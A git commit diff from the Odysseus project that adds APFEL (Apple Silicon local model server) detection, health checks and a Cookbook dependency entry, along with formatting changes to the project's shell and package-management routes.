mirror of
https://github.com/pewdiepie-archdaemon/odysseus.git
synced 2026-06-15 09:15:29 -04:00
feat(platform): Add support for APFEL as part of the dependencies and models for the Cookbook. (#2657)
* feat(platform): add support for Apple Silicon detection in platform compatibility test(tests): enhance shell_routes tests for Apple Silicon compatibility * fix issues with missing import * fix: correct package name in package-lock.json and enhance package installation commands in shell_routes.py and cookbook.js * feat: add Apfel startup and health checks on macOS - bootstrap Apfel via Homebrew on arm64 macOS - start `apfel --serve --port 11435` detached for Odysseus - verify readiness via `/health` - clean up the Apfel process on exit or Ctrl+C * fix: duplicate variable declaration post-merge conflict - Should fix `node` CI issues. * fix: issues with the update status of the APFEL dependency. - fixed by changing the main conditional that determines the update. * Fix: Remove unnecessary whitespaces and formatting for the model_routes.py file. * Fix: whitespace issues with the model_routes file * Fix: Remove unnecessary whitespaces and formatting for the model_routes.py file. Final * Fix: Fixed updates using PIP for APFEL instead of custom cmd
This commit is contained in:
committed by
GitHub
parent
8f2c8d2dc8
commit
8d9d4ec9c6
+14
-3
@@ -18,10 +18,22 @@ import ntpath
|
||||
import shutil
|
||||
import subprocess
|
||||
from pathlib import Path
|
||||
import sys
|
||||
from typing import List, Optional
|
||||
import platform
|
||||
|
||||
IS_WINDOWS = os.name == "nt"
|
||||
IS_POSIX = not IS_WINDOWS
|
||||
# Allows APFEL support and ARM-native binary recommendations on Apple Silicon Macs.
|
||||
IS_APPLE_SILICON = (
|
||||
IS_POSIX
|
||||
and platform.system() == "Darwin"
|
||||
and platform.machine().lower()
|
||||
in {
|
||||
"arm64",
|
||||
"aarch64",
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
# ── File permissions ────────────────────────────────────────────────────────
|
||||
@@ -53,9 +65,8 @@ def detached_popen_kwargs() -> dict:
|
||||
and is detached from any console.
|
||||
"""
|
||||
if IS_WINDOWS:
|
||||
flags = (
|
||||
getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0x00000200)
|
||||
| getattr(subprocess, "DETACHED_PROCESS", 0x00000008)
|
||||
flags = getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0x00000200) | getattr(
|
||||
subprocess, "DETACHED_PROCESS", 0x00000008
|
||||
)
|
||||
return {"creationflags": flags}
|
||||
return {"start_new_session": True}
|
||||
|
||||
Generated
+1
-1
@@ -1,5 +1,5 @@
|
||||
{
|
||||
"name": "odysseus-ui",
|
||||
"name": "odysseus",
|
||||
"lockfileVersion": 3,
|
||||
"requires": true,
|
||||
"packages": {
|
||||
|
||||
+21
-4
@@ -700,7 +700,6 @@ def _probe_endpoint(base_url: str, api_key: str = None, timeout: int = 5) -> Lis
|
||||
return list(fallback)
|
||||
return []
|
||||
|
||||
|
||||
def _ping_endpoint(base_url: str, api_key: str = None, timeout: float = 1.5) -> Dict[str, Any]:
|
||||
"""Reachability probe that does not require installed/listed models."""
|
||||
from src.endpoint_resolver import resolve_url
|
||||
@@ -716,6 +715,10 @@ def _ping_endpoint(base_url: str, api_key: str = None, timeout: float = 1.5) ->
|
||||
or "ollama" in (parsed_base.hostname or "").lower()
|
||||
)
|
||||
|
||||
# APFEL-specific detection
|
||||
host = (parsed_base.hostname or "").lower()
|
||||
looks_like_apfel = "apfel" in host or parsed_base.port == 11435
|
||||
|
||||
def _result_from_response(r) -> Dict[str, Any]:
|
||||
if 300 <= r.status_code < 400:
|
||||
loc = r.headers.get("location", "")
|
||||
@@ -737,7 +740,23 @@ def _ping_endpoint(base_url: str, api_key: str = None, timeout: float = 1.5) ->
|
||||
last_error: Optional[str] = None
|
||||
|
||||
try:
|
||||
if looks_like_ollama:
|
||||
# APFEL does not behave like Ollama; use its health endpoint.
|
||||
if looks_like_apfel:
|
||||
root = base
|
||||
for suffix in ("/v1", "/api"):
|
||||
if root.endswith(suffix):
|
||||
root = root[: -len(suffix)].rstrip("/")
|
||||
break
|
||||
try:
|
||||
r = httpx.get(root + "/health", timeout=timeout, verify=llm_verify())
|
||||
result = _result_from_response(r)
|
||||
if result["reachable"]:
|
||||
return result
|
||||
last_error = result.get("error")
|
||||
except Exception as e:
|
||||
last_error = str(e)[:120]
|
||||
|
||||
elif looks_like_ollama:
|
||||
root = base
|
||||
for suffix in ("/v1", "/api"):
|
||||
if root.endswith(suffix):
|
||||
@@ -782,8 +801,6 @@ def _ping_endpoint(base_url: str, api_key: str = None, timeout: float = 1.5) ->
|
||||
|
||||
return {"reachable": False, "status_code": None, "error": last_error}
|
||||
|
||||
|
||||
|
||||
def _model_endpoint_error_message(base_url: str, ping: Dict[str, Any] = None) -> str:
|
||||
"""Return a provider-aware error message for failed endpoint probes."""
|
||||
ping = ping or {}
|
||||
|
||||
+262
-56
@@ -13,6 +13,7 @@ import tempfile
|
||||
from collections import namedtuple
|
||||
from pathlib import Path
|
||||
from typing import Dict, Any
|
||||
from core.platform_compat import IS_APPLE_SILICON, which_tool
|
||||
|
||||
# POSIX-only: `pty`/`fcntl` transitively import `termios`, which does NOT exist
|
||||
# on Windows, so importing them unconditionally crashed app startup there
|
||||
@@ -93,6 +94,7 @@ def _venv_activate_prefix(venv: str | None) -> str:
|
||||
act = venv if venv.endswith("/bin/activate") else venv.rstrip("/") + "/bin/activate"
|
||||
return f". {act} && "
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
PTY_SUPPORTED = pty is not None and fcntl is not None and hasattr(os, "setsid")
|
||||
@@ -170,7 +172,10 @@ def _package_installed_from_probe(name: str, probe: dict) -> bool:
|
||||
and (dists.get("torch") or modules.get("torch", {}).get("real_module"))
|
||||
)
|
||||
if name == "hf_transfer":
|
||||
return bool(dists.get("hf-transfer") or modules.get("hf_transfer", {}).get("real_module"))
|
||||
return bool(
|
||||
dists.get("hf-transfer")
|
||||
or modules.get("hf_transfer", {}).get("real_module")
|
||||
)
|
||||
return bool(dists.get(name) or modules.get(name, {}).get("real_module"))
|
||||
|
||||
|
||||
@@ -195,8 +200,14 @@ def _package_status_note(name: str, probe: dict) -> str:
|
||||
if binaries.get("llama-server"):
|
||||
parts.append(f"native llama-server: {binaries['llama-server']}")
|
||||
if dists.get("llama-cpp-python"):
|
||||
parts.append(f"python package: llama-cpp-python {dists['llama-cpp-python']}")
|
||||
return "; ".join(parts) if parts else "No native llama-server or llama-cpp-python server package found."
|
||||
parts.append(
|
||||
f"python package: llama-cpp-python {dists['llama-cpp-python']}"
|
||||
)
|
||||
return (
|
||||
"; ".join(parts)
|
||||
if parts
|
||||
else "No native llama-server or llama-cpp-python server package found."
|
||||
)
|
||||
if name == "diffusers":
|
||||
if _package_installed_from_probe(name, probe):
|
||||
return f"diffusers {dists.get('diffusers', 'available')} with torch {dists.get('torch', 'available')}"
|
||||
@@ -206,7 +217,9 @@ def _package_status_note(name: str, probe: dict) -> str:
|
||||
return ""
|
||||
|
||||
|
||||
def _package_pip_update_status(pkg: dict, probe: dict | None = None) -> PackageUpdateStatus:
|
||||
def _package_pip_update_status(
|
||||
pkg: dict, probe: dict | None = None
|
||||
) -> PackageUpdateStatus:
|
||||
"""Return whether the Dependencies UI should offer a generic pip update.
|
||||
|
||||
"Installed" means Cookbook can use the dependency. It does not always mean
|
||||
@@ -214,12 +227,28 @@ def _package_pip_update_status(pkg: dict, probe: dict | None = None) -> PackageU
|
||||
native llama-server can come from a package manager/source build, and a CLI
|
||||
may be on PATH without matching Python package metadata.
|
||||
"""
|
||||
if pkg.get("name") == "APFEL":
|
||||
return PackageUpdateStatus(
|
||||
False,
|
||||
"", # Note is empty because IT DOES allow for updates outside of PIP.
|
||||
)
|
||||
|
||||
if pkg.get("kind") == "system" or not pkg.get("pip"):
|
||||
return PackageUpdateStatus(False, "Update this system dependency outside Odysseus.")
|
||||
return PackageUpdateStatus(
|
||||
False, "Update this system dependency outside Odysseus."
|
||||
)
|
||||
|
||||
name = pkg.get("name")
|
||||
binaries = probe.get("binaries") if isinstance(probe, dict) and isinstance(probe.get("binaries"), dict) else {}
|
||||
dists = probe.get("dists") if isinstance(probe, dict) and isinstance(probe.get("dists"), dict) else {}
|
||||
binaries = (
|
||||
probe.get("binaries")
|
||||
if isinstance(probe, dict) and isinstance(probe.get("binaries"), dict)
|
||||
else {}
|
||||
)
|
||||
dists = (
|
||||
probe.get("dists")
|
||||
if isinstance(probe, dict) and isinstance(probe.get("dists"), dict)
|
||||
else {}
|
||||
)
|
||||
|
||||
if name == "llama_cpp" and binaries.get("llama-server"):
|
||||
return PackageUpdateStatus(
|
||||
@@ -232,7 +261,9 @@ def _package_pip_update_status(pkg: dict, probe: dict | None = None) -> PackageU
|
||||
"Using a vLLM CLI on PATH without Python package metadata; update it outside Odysseus.",
|
||||
)
|
||||
|
||||
return PackageUpdateStatus(True, "Update uses pip in the selected Python environment.")
|
||||
return PackageUpdateStatus(
|
||||
True, "Update uses pip in the selected Python environment."
|
||||
)
|
||||
|
||||
|
||||
def _prepend_user_install_bins_to_path() -> None:
|
||||
@@ -251,7 +282,9 @@ def _prepend_user_install_bins_to_path() -> None:
|
||||
candidates = []
|
||||
candidates.append(os.path.expanduser("~/.local/bin"))
|
||||
|
||||
parts = os.environ.get("PATH", "").split(os.pathsep) if os.environ.get("PATH") else []
|
||||
parts = (
|
||||
os.environ.get("PATH", "").split(os.pathsep) if os.environ.get("PATH") else []
|
||||
)
|
||||
changed = False
|
||||
for path in reversed([p for p in candidates if p]):
|
||||
if path not in parts:
|
||||
@@ -358,9 +391,11 @@ PTY_UNSUPPORTED_ERROR = "pty_unsupported"
|
||||
|
||||
class ShellExecRequest(BaseModel):
|
||||
command: str
|
||||
timeout: int | None = None # optional override; 0 = no timeout (run until client disconnects)
|
||||
use_pty: bool = False # use pseudo-TTY (for progress bars)
|
||||
use_tmux: bool = False # run in tmux session (survives browser disconnect)
|
||||
timeout: int | None = (
|
||||
None # optional override; 0 = no timeout (run until client disconnects)
|
||||
)
|
||||
use_pty: bool = False # use pseudo-TTY (for progress bars)
|
||||
use_tmux: bool = False # run in tmux session (survives browser disconnect)
|
||||
|
||||
|
||||
async def _create_shell(command: str, **kwargs):
|
||||
@@ -395,9 +430,7 @@ async def _exec_shell(command: str, timeout: int = EXEC_TIMEOUT) -> Dict[str, An
|
||||
stderr=asyncio.subprocess.PIPE,
|
||||
cwd=str(Path.home()),
|
||||
)
|
||||
stdout_b, stderr_b = await asyncio.wait_for(
|
||||
proc.communicate(), timeout=timeout
|
||||
)
|
||||
stdout_b, stderr_b = await asyncio.wait_for(proc.communicate(), timeout=timeout)
|
||||
stdout = stdout_b.decode(errors="replace")[:MAX_OUTPUT]
|
||||
stderr = stderr_b.decode(errors="replace")[:MAX_OUTPUT]
|
||||
return {"stdout": stdout, "stderr": stderr, "exit_code": proc.returncode}
|
||||
@@ -408,7 +441,11 @@ async def _exec_shell(command: str, timeout: int = EXEC_TIMEOUT) -> Dict[str, An
|
||||
await proc.wait()
|
||||
except ProcessLookupError:
|
||||
pass
|
||||
return {"stdout": "", "stderr": f"Command timed out after {timeout}s", "exit_code": -1}
|
||||
return {
|
||||
"stdout": "",
|
||||
"stderr": f"Command timed out after {timeout}s",
|
||||
"exit_code": -1,
|
||||
}
|
||||
except Exception as e:
|
||||
return {"stdout": "", "stderr": str(e), "exit_code": -1}
|
||||
|
||||
@@ -490,7 +527,7 @@ async def _generate_pty(cmd: str, timeout: int, request: Request):
|
||||
if idx == -1:
|
||||
break
|
||||
line = buf[:idx].decode(errors="replace")
|
||||
buf = buf[idx + sep_len:]
|
||||
buf = buf[idx + sep_len :]
|
||||
if line:
|
||||
yield f"data: {json.dumps({'stream': 'stdout', 'data': line})}\n\n"
|
||||
|
||||
@@ -512,7 +549,7 @@ async def _generate_pty(cmd: str, timeout: int, request: Request):
|
||||
if idx == -1:
|
||||
break
|
||||
line = buf[:idx].decode(errors="replace")
|
||||
buf = buf[idx + sep_len:]
|
||||
buf = buf[idx + sep_len :]
|
||||
if line:
|
||||
yield f"data: {json.dumps({'stream': 'stdout', 'data': line})}\n\n"
|
||||
if buf:
|
||||
@@ -543,6 +580,7 @@ def _pty_read(fd: int) -> bytes | None:
|
||||
"""Blocking read from PTY fd. Called via run_in_executor.
|
||||
Returns bytes on data, None on timeout (no data yet)."""
|
||||
import select
|
||||
|
||||
r, _, _ = select.select([fd], [], [], 1.0)
|
||||
if r:
|
||||
try:
|
||||
@@ -566,10 +604,10 @@ async def _generate_tmux(cmd: str, request: Request):
|
||||
script_path = TMUX_LOG_DIR / f"{session_id}.sh"
|
||||
script_path.write_text(
|
||||
f"#!/bin/bash\n"
|
||||
f"ODYSSEUS_USER_SHELL=\"${{SHELL:-}}\"\n"
|
||||
f"if [ -n \"$ODYSSEUS_USER_SHELL\" ] && [ -x \"$ODYSSEUS_USER_SHELL\" ]; then\n"
|
||||
f" ODYSSEUS_USER_PATH=\"$(\"$ODYSSEUS_USER_SHELL\" -ic 'printf \"__ODYSSEUS_PATH__%s\\n\" \"$PATH\"' 2>/dev/null | sed -n 's/^__ODYSSEUS_PATH__//p' | tail -n 1 || true)\"\n"
|
||||
f" if [ -n \"$ODYSSEUS_USER_PATH\" ]; then export PATH=\"$ODYSSEUS_USER_PATH:$PATH\"; fi\n"
|
||||
f'ODYSSEUS_USER_SHELL="${{SHELL:-}}"\n'
|
||||
f'if [ -n "$ODYSSEUS_USER_SHELL" ] && [ -x "$ODYSSEUS_USER_SHELL" ]; then\n'
|
||||
f' ODYSSEUS_USER_PATH="$("$ODYSSEUS_USER_SHELL" -ic \'printf "__ODYSSEUS_PATH__%s\\n" "$PATH"\' 2>/dev/null | sed -n \'s/^__ODYSSEUS_PATH__//p\' | tail -n 1 || true)"\n'
|
||||
f' if [ -n "$ODYSSEUS_USER_PATH" ]; then export PATH="$ODYSSEUS_USER_PATH:$PATH"; fi\n'
|
||||
f"fi\n"
|
||||
f"{cmd} 2>&1 | tee '{log_path}'\n"
|
||||
f"EC=${{PIPESTATUS[0]}}\n"
|
||||
@@ -579,7 +617,9 @@ async def _generate_tmux(cmd: str, request: Request):
|
||||
encoding="utf-8",
|
||||
)
|
||||
script_path.chmod(0o755)
|
||||
logger.info("tmux wrapper script created: session=%s path=%s", session_id, script_path)
|
||||
logger.info(
|
||||
"tmux wrapper script created: session=%s path=%s", session_id, script_path
|
||||
)
|
||||
|
||||
tmux_cmd = f"tmux new-session -d -s {session_id} {shlex.quote(str(script_path))}"
|
||||
|
||||
@@ -611,7 +651,9 @@ async def _generate_tmux(cmd: str, request: Request):
|
||||
# Read new lines from log
|
||||
try:
|
||||
if log_path.exists():
|
||||
lines = log_path.read_text(encoding="utf-8", errors="replace").splitlines()
|
||||
lines = log_path.read_text(
|
||||
encoding="utf-8", errors="replace"
|
||||
).splitlines()
|
||||
new_lines = lines[lines_sent:]
|
||||
for line in new_lines:
|
||||
if line.startswith(":::EXIT_CODE:::"):
|
||||
@@ -639,7 +681,9 @@ async def _generate_tmux(cmd: str, request: Request):
|
||||
# Session ended — do one final read
|
||||
await asyncio.sleep(0.5)
|
||||
if log_path.exists():
|
||||
lines = log_path.read_text(encoding="utf-8", errors="replace").splitlines()
|
||||
lines = log_path.read_text(
|
||||
encoding="utf-8", errors="replace"
|
||||
).splitlines()
|
||||
for line in lines[lines_sent:]:
|
||||
if line.startswith(":::EXIT_CODE:::"):
|
||||
try:
|
||||
@@ -720,7 +764,9 @@ async def _generate_win_detached(cmd: str, request: Request):
|
||||
return
|
||||
try:
|
||||
if log_path.exists():
|
||||
lines = log_path.read_text(encoding="utf-8", errors="replace").splitlines()
|
||||
lines = log_path.read_text(
|
||||
encoding="utf-8", errors="replace"
|
||||
).splitlines()
|
||||
for line in lines[lines_sent:]:
|
||||
yield f"data: {json.dumps({'stream': 'stdout', 'data': line})}\n\n"
|
||||
lines_sent = len(lines)
|
||||
@@ -732,11 +778,18 @@ async def _generate_win_detached(cmd: str, request: Request):
|
||||
await asyncio.sleep(0.3)
|
||||
try:
|
||||
if log_path.exists():
|
||||
lines = log_path.read_text(encoding="utf-8", errors="replace").splitlines()
|
||||
lines = log_path.read_text(
|
||||
encoding="utf-8", errors="replace"
|
||||
).splitlines()
|
||||
for line in lines[lines_sent:]:
|
||||
yield f"data: {json.dumps({'stream': 'stdout', 'data': line})}\n\n"
|
||||
lines_sent = len(lines)
|
||||
exit_code = int((exit_path.read_text(encoding="utf-8", errors="replace").strip() or "0"))
|
||||
exit_code = int(
|
||||
(
|
||||
exit_path.read_text(encoding="utf-8", errors="replace").strip()
|
||||
or "0"
|
||||
)
|
||||
)
|
||||
except Exception:
|
||||
exit_code = 0
|
||||
break
|
||||
@@ -762,7 +815,9 @@ def setup_shell_routes() -> APIRouter:
|
||||
return {"stdout": "", "stderr": "No command provided", "exit_code": 1}
|
||||
|
||||
logger.info("User shell exec requested: length=%d", len(cmd))
|
||||
result = await _exec_shell(cmd, timeout=req.timeout if req.timeout is not None else EXEC_TIMEOUT)
|
||||
result = await _exec_shell(
|
||||
cmd, timeout=req.timeout if req.timeout is not None else EXEC_TIMEOUT
|
||||
)
|
||||
return result
|
||||
|
||||
@router.post("/api/shell/stream")
|
||||
@@ -771,9 +826,11 @@ def setup_shell_routes() -> APIRouter:
|
||||
_require_admin(request)
|
||||
cmd = req.command.strip()
|
||||
if not cmd:
|
||||
|
||||
async def empty():
|
||||
yield f"data: {json.dumps({'stream': 'stderr', 'data': 'No command provided'})}\n\n"
|
||||
yield f"data: {json.dumps({'exit_code': 1})}\n\n"
|
||||
|
||||
return StreamingResponse(empty(), media_type="text/event-stream")
|
||||
|
||||
timeout = req.timeout if req.timeout is not None else STREAM_TIMEOUT
|
||||
@@ -790,7 +847,11 @@ def setup_shell_routes() -> APIRouter:
|
||||
if use_tmux:
|
||||
# tmux is POSIX-only; Windows uses a detached-process + logfile tail
|
||||
# that preserves the "survives disconnect" behaviour.
|
||||
gen = _generate_win_detached(cmd, request) if IS_WINDOWS else _generate_tmux(cmd, request)
|
||||
gen = (
|
||||
_generate_win_detached(cmd, request)
|
||||
if IS_WINDOWS
|
||||
else _generate_tmux(cmd, request)
|
||||
)
|
||||
return StreamingResponse(gen, media_type="text/event-stream")
|
||||
|
||||
if use_pty and not IS_WINDOWS:
|
||||
@@ -822,7 +883,12 @@ def setup_shell_routes() -> APIRouter:
|
||||
chunk = await stream.read(4096)
|
||||
if not chunk:
|
||||
if buf:
|
||||
await q.put((name, buf.decode(errors="replace").rstrip("\r\n")))
|
||||
await q.put(
|
||||
(
|
||||
name,
|
||||
buf.decode(errors="replace").rstrip("\r\n"),
|
||||
)
|
||||
)
|
||||
break
|
||||
buf += chunk
|
||||
while True:
|
||||
@@ -830,7 +896,7 @@ def setup_shell_routes() -> APIRouter:
|
||||
if idx == -1:
|
||||
break
|
||||
line = buf[:idx].decode(errors="replace")
|
||||
buf = buf[idx + sep_len:]
|
||||
buf = buf[idx + sep_len :]
|
||||
if line:
|
||||
await q.put((name, line))
|
||||
finally:
|
||||
@@ -889,7 +955,12 @@ def setup_shell_routes() -> APIRouter:
|
||||
return StreamingResponse(generate(), media_type="text/event-stream")
|
||||
|
||||
@router.get("/api/cookbook/packages")
|
||||
async def list_packages(request: Request, host: str | None = None, ssh_port: str | None = None, venv: str | None = None):
|
||||
async def list_packages(
|
||||
request: Request,
|
||||
host: str | None = None,
|
||||
ssh_port: str | None = None,
|
||||
venv: str | None = None,
|
||||
):
|
||||
"""Check which optional packages are installed.
|
||||
|
||||
Local-target packages are checked in-process. Remote-target packages
|
||||
@@ -899,7 +970,13 @@ def setup_shell_routes() -> APIRouter:
|
||||
"""
|
||||
_require_admin(request)
|
||||
_reject_cross_site(request)
|
||||
import importlib, importlib.metadata as importlib_metadata, shlex, json as _json, site, sys
|
||||
import importlib
|
||||
import importlib.metadata as importlib_metadata
|
||||
import shlex
|
||||
import json as _json
|
||||
import site
|
||||
import sys
|
||||
|
||||
_prepend_user_install_bins_to_path()
|
||||
importlib.invalidate_caches()
|
||||
try:
|
||||
@@ -914,26 +991,115 @@ def setup_shell_routes() -> APIRouter:
|
||||
raise HTTPException(400, "Invalid ssh_port")
|
||||
packages = [
|
||||
# ── System ── OS binaries, not pip packages
|
||||
{"name": "tmux", "pip": "", "desc": "Required for Linux/Termux Cookbook background downloads and serves", "category": "System", "target": "remote", "kind": "system", "install_hint": "Run Cookbook server setup, or install tmux with apt/pacman/dnf/apk/zypper."},
|
||||
{"name": "docker", "pip": "", "desc": "Required only for Docker-backed launch commands", "category": "System", "target": "remote", "kind": "system", "install_hint": "Install Docker on the selected server and allow this user to run docker."},
|
||||
{
|
||||
"name": "tmux",
|
||||
"pip": "",
|
||||
"desc": "Required for Linux/Termux Cookbook background downloads and serves",
|
||||
"category": "System",
|
||||
"target": "remote",
|
||||
"kind": "system",
|
||||
"install_hint": "Run Cookbook server setup, or install tmux with apt/pacman/dnf/apk/zypper.",
|
||||
},
|
||||
{
|
||||
"name": "docker",
|
||||
"pip": "",
|
||||
"desc": "Required only for Docker-backed launch commands",
|
||||
"category": "System",
|
||||
"target": "remote",
|
||||
"kind": "system",
|
||||
"install_hint": "Install Docker on the selected server and allow this user to run docker.",
|
||||
},
|
||||
# ── LLM ── installs on GPU servers for model serving/downloading
|
||||
{"name": "hf_transfer", "pip": "hf_transfer", "desc": "Fast model downloads from HuggingFace", "category": "LLM", "target": "remote"},
|
||||
{"name": "llama_cpp", "pip": "llama-cpp-python[server]", "desc": "Serve GGUF models via llama.cpp", "category": "LLM", "target": "remote"},
|
||||
{"name": "sglang", "pip": "sglang[all]", "desc": "Serve HF safetensors models via SGLang", "category": "LLM", "target": "remote"},
|
||||
{"name": "vllm", "pip": "vllm", "desc": "High-throughput LLM serving engine", "category": "LLM", "target": "remote"},
|
||||
{
|
||||
"name": "hf_transfer",
|
||||
"pip": "hf_transfer",
|
||||
"desc": "Fast model downloads from HuggingFace",
|
||||
"category": "LLM",
|
||||
"target": "remote",
|
||||
},
|
||||
{
|
||||
"name": "llama_cpp",
|
||||
"pip": "llama-cpp-python[server]",
|
||||
"desc": "Serve GGUF models via llama.cpp",
|
||||
"category": "LLM",
|
||||
"target": "remote",
|
||||
},
|
||||
{
|
||||
"name": "sglang",
|
||||
"pip": "sglang[all]",
|
||||
"desc": "Serve HF safetensors models via SGLang",
|
||||
"category": "LLM",
|
||||
"target": "remote",
|
||||
},
|
||||
{
|
||||
"name": "vllm",
|
||||
"pip": "vllm",
|
||||
"desc": "High-throughput LLM serving engine",
|
||||
"category": "LLM",
|
||||
"target": "remote",
|
||||
},
|
||||
{
|
||||
"name": "APFEL",
|
||||
"pip": "",
|
||||
"desc": "OpenAI-compatible API for Apple Foundational Models on Apple Silicon",
|
||||
"category": "LLM",
|
||||
"target": "local",
|
||||
"kind": "system",
|
||||
"install_cmd": "brew install apfel",
|
||||
"update_cmd": "brew upgrade apfel",
|
||||
"install_hint": "Requires a native Apple Silicon Mac with Apple Foundational Models support. Installable via Homebrew on supported Macs.",
|
||||
},
|
||||
# ── Image ── editor + diffusion model serving
|
||||
{"name": "diffusers", "pip": "diffusers[torch]", "desc": "Image generation pipelines (SD, Flux) with PyTorch", "category": "Image", "target": "remote"},
|
||||
{"name": "rembg", "pip": "rembg[gpu]", "desc": "AI background removal for image editor", "category": "Image", "target": "local"},
|
||||
{"name": "realesrgan", "pip": "realesrgan", "desc": "AI denoise + upscale (Real-ESRGAN). Used by editor's Denoise and Upscale tools.", "category": "Image", "target": "local"},
|
||||
{
|
||||
"name": "diffusers",
|
||||
"pip": "diffusers[torch]",
|
||||
"desc": "Image generation pipelines (SD, Flux) with PyTorch",
|
||||
"category": "Image",
|
||||
"target": "remote",
|
||||
},
|
||||
{
|
||||
"name": "rembg",
|
||||
"pip": "rembg[gpu]",
|
||||
"desc": "AI background removal for image editor",
|
||||
"category": "Image",
|
||||
"target": "local",
|
||||
},
|
||||
{
|
||||
"name": "realesrgan",
|
||||
"pip": "realesrgan",
|
||||
"desc": "AI denoise + upscale (Real-ESRGAN). Used by editor's Denoise and Upscale tools.",
|
||||
"category": "Image",
|
||||
"target": "local",
|
||||
},
|
||||
# ── Tools ──
|
||||
{"name": "playwright", "pip": "playwright", "desc": "Browser automation for web tools", "category": "Tools", "target": "local"},
|
||||
{
|
||||
"name": "playwright",
|
||||
"pip": "playwright",
|
||||
"desc": "Browser automation for web tools",
|
||||
"category": "Tools",
|
||||
"target": "local",
|
||||
},
|
||||
]
|
||||
|
||||
# Most packages should not be installed through external means. Hence, set the default of the
|
||||
# install_cmd and update_cmd to None, which indicates that the recommended way to install/update is through the Cookbook # server setup or pip. Only system packages, should have explicit install/update commands provided.
|
||||
for pkg in packages:
|
||||
pkg.setdefault("install_cmd", None)
|
||||
pkg.setdefault("update_cmd", None)
|
||||
# Remote check: for remote-target packages, probe the selected server's
|
||||
# venv over SSH so a remote `pip install` actually reflects here.
|
||||
remote_status: dict = {}
|
||||
remote_details: dict = {}
|
||||
remote_names = [p["name"] for p in packages if p.get("target") == "remote" and p.get("kind") != "system"]
|
||||
remote_system_names = [p["name"] for p in packages if p.get("target") == "remote" and p.get("kind") == "system"]
|
||||
remote_names = [
|
||||
p["name"]
|
||||
for p in packages
|
||||
if p.get("target") == "remote" and p.get("kind") != "system"
|
||||
]
|
||||
remote_system_names = [
|
||||
p["name"]
|
||||
for p in packages
|
||||
if p.get("target") == "remote" and p.get("kind") == "system"
|
||||
]
|
||||
if host and remote_names:
|
||||
try:
|
||||
py = _package_probe_script(remote_names)
|
||||
@@ -943,7 +1109,9 @@ def setup_shell_routes() -> APIRouter:
|
||||
inner = f"{src}python3 -c {shlex.quote(py)}"
|
||||
argv = _ssh_base_argv(host, ssh_port) + [inner]
|
||||
proc = await asyncio.create_subprocess_exec(
|
||||
*argv, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE
|
||||
*argv,
|
||||
stdout=asyncio.subprocess.PIPE,
|
||||
stderr=asyncio.subprocess.PIPE,
|
||||
)
|
||||
out, _err = await asyncio.wait_for(proc.communicate(), timeout=12)
|
||||
txt = out.decode("utf-8", errors="replace").strip()
|
||||
@@ -967,11 +1135,15 @@ def setup_shell_routes() -> APIRouter:
|
||||
checks = []
|
||||
for name in remote_system_names:
|
||||
qn = shlex.quote(name)
|
||||
checks.append(f"if command -v {qn} >/dev/null 2>&1; then echo {qn}=1; else echo {qn}=0; fi")
|
||||
checks.append(
|
||||
f"if command -v {qn} >/dev/null 2>&1; then echo {qn}=1; else echo {qn}=0; fi"
|
||||
)
|
||||
inner = " ; ".join(checks)
|
||||
argv = _ssh_base_argv(host, ssh_port) + [inner]
|
||||
proc = await asyncio.create_subprocess_exec(
|
||||
*argv, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE
|
||||
*argv,
|
||||
stdout=asyncio.subprocess.PIPE,
|
||||
stderr=asyncio.subprocess.PIPE,
|
||||
)
|
||||
out, _err = await asyncio.wait_for(proc.communicate(), timeout=12)
|
||||
txt = out.decode("utf-8", errors="replace").strip()
|
||||
@@ -996,11 +1168,25 @@ def setup_shell_routes() -> APIRouter:
|
||||
if note:
|
||||
pkg["status_note"] = note
|
||||
elif pkg.get("kind") == "system":
|
||||
pkg["installed"] = shutil.which(pkg["name"]) is not None
|
||||
if pkg["name"] == "APFEL":
|
||||
pkg["applicable"] = IS_APPLE_SILICON
|
||||
pkg["installed"] = which_tool("apfel") is not None
|
||||
pkg["status_note"] = (
|
||||
"Available on Apple Silicon (arm64) devices; exposed through a local OpenAI-compatible API."
|
||||
if IS_APPLE_SILICON
|
||||
else "Requires a native Apple Silicon Mac with Apple Foundational Models support."
|
||||
)
|
||||
else:
|
||||
pkg["installed"] = shutil.which(pkg["name"]) is not None
|
||||
elif pkg["name"] == "llama_cpp" and shutil.which("llama-server"):
|
||||
pkg["installed"] = True
|
||||
pkg["status_note"] = f"native llama-server: {shutil.which('llama-server')}"
|
||||
probe = {"binaries": {"llama-server": shutil.which("llama-server")}, "dists": {}}
|
||||
pkg["status_note"] = (
|
||||
f"native llama-server: {shutil.which('llama-server')}"
|
||||
)
|
||||
probe = {
|
||||
"binaries": {"llama-server": shutil.which("llama-server")},
|
||||
"dists": {},
|
||||
}
|
||||
elif pkg["name"] == "vllm":
|
||||
_vllm_cli = shutil.which("vllm")
|
||||
pkg["installed"] = _vllm_cli is not None
|
||||
@@ -1046,15 +1232,30 @@ def setup_shell_routes() -> APIRouter:
|
||||
"""Install a package via pip. Admin only — pip install is effectively code exec."""
|
||||
_require_admin(request)
|
||||
import sys as _sys
|
||||
|
||||
body = await request.json()
|
||||
pip_name = body.get("pip")
|
||||
if not pip_name:
|
||||
return {"ok": False, "error": "No package specified"}
|
||||
# Validate against known packages to prevent arbitrary pip install
|
||||
known = {
|
||||
"rembg[gpu]", "hf_transfer", "llama-cpp-python[server]", "sglang[all]", "diffusers", "diffusers[torch]",
|
||||
"TTS", "bark", "faster-whisper", "playwright", "realesrgan", "gfpgan",
|
||||
"insightface", "onnxruntime-gpu", "onnxruntime", "hdbscan", "vllm",
|
||||
"rembg[gpu]",
|
||||
"hf_transfer",
|
||||
"llama-cpp-python[server]",
|
||||
"sglang[all]",
|
||||
"diffusers",
|
||||
"diffusers[torch]",
|
||||
"TTS",
|
||||
"bark",
|
||||
"faster-whisper",
|
||||
"playwright",
|
||||
"realesrgan",
|
||||
"gfpgan",
|
||||
"insightface",
|
||||
"onnxruntime-gpu",
|
||||
"onnxruntime",
|
||||
"hdbscan",
|
||||
"vllm",
|
||||
}
|
||||
if pip_name not in known:
|
||||
return {"ok": False, "error": f"Unknown package: {pip_name}"}
|
||||
@@ -1080,6 +1281,7 @@ def setup_shell_routes() -> APIRouter:
|
||||
"""
|
||||
_require_admin(request)
|
||||
